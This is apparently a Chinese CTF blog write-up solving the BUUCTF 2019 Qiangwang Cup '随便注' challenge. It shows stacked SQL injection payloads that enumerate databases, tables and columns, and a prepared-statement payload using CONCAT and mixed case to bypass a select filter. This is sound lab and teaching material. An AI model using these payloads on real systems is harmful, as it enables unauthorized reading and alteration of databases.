buuctf 2019强网杯 随便注

2019强网杯 随便注

来到页面发现只是一个提交栏buuctf 2019强网杯 随便注
随意试一下输入1’有回显buuctf 2019强网杯 随便注说明存在sql注入,输入万能密码试试1’ or 1=1;#buuctf 2019强网杯 随便注输入1’; union select;#看看能否联合查询一下buuctf 2019强网杯 随便注存在过滤,且没办法通过大小写绕过,好难,看看wp。看来需要堆叠注入(ps:堆叠注入就是一次性执行多条查询语句)
输入1’;show databases;#查看所有的数据库;buuctf 2019强网杯 随便注en。。。没有和flag有关的字样,再输入1’;show tables;#看看表buuctf 2019强网杯 随便注
这串数字很可疑呀,看看列信息1’;show columns from 1919810931114514; #
(数字两边要加··)buuctf 2019强网杯 随便注
哈哈,看见flag,但怎么才能得到呢,现在问题就出现在过滤上,想办法绕过select过滤。看了大佬的wp发现可以用预编译进行绕过,预编译又是啥呢,百度一下。
1、Statement
该对象用于执行静态的 SQL 语句,并且返回执行结果。 此处的SQL语句必须是完整的,有明确的数据指示。查的是哪条记录?改的是哪条记录?都要指示清楚。
通过调用 Connection 对象的 createStatement 方法创建该对象

2、PreparedStatement
SQL 语句被预编译并存储在 PreparedStatement 对象中。然后可以使用此对象多次高效地执行该语句。
可以通过调用 Connection 对象的 preparedStatement() 方法获取 PreparedStatement 对象
PreparedStatement 对象所执行的 SQL 语句中,参数用问号(?)来表示,调用 PreparedStatement 对象的 setXXX() 方法来设置这些参数. setXXX() 方法有两个参数,第一个参数是要设置的 SQL 语句中的参数的索引(从 1 开始),第二个是设置的 SQL 语句中的参数的值,注意用setXXX方式设置时,需要与数据库中的字段类型对应,例如mysql中字段为varchar,就需要使用setString方法,如果为Date类型,就需要使用setDate方法来设置具体sql的参数。

简单来说就是,预编译的SQL语句不是有具体数值的语句,而是用(?)来代替具体数据,然后在执行的时候再调用setXX()方法把具体的数据传入。同时,这个语句只在第一次执行的时候编译一次,然后保存在缓存中。之后执行时,只需从缓存中抽取编译过了的代码以及新传进来的具体数据,即可获得完整的sql命令。这样一来就省下了后面每次执行时语句的编译时间。

具体流程:SET; # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句

构建payload:
1’;set @sql=CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;execute stmt;#
buuctf 2019强网杯 随便注
嗯?看来还有防范,不过看他的提示好像可以试试大小写绕过。将payload改为1’;sEt @sql = concat(‘sele’,‘ct * from 1919810931114514;’);prEpare smt from @sql;execute smt;#得到flagbuuctf 2019强网杯 随便注参考:
[强网杯 2019]随便注
sql预编译